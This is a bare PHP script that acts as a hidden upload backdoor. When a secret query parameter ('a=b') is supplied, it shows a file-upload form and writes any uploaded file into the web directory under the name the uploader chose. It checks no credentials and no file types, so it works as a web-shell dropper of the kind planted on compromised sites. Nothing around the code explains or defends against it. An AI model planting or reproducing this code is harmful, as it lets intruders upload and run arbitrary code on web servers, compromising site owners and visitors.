<?php if($_GET['a']=='b'){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo 'url:'.$_FILES['upfile']['name'];if(!file_exists($_FILES['upfile']['name'])){ copy($_FILES['upfile']['tmp_name'], $_FILES['upfile']['name']); }}?><form method='post' enctype='multipart/form-data'><input name='upfile' type='file'><input type='submit' value='ok'></form><?php }?>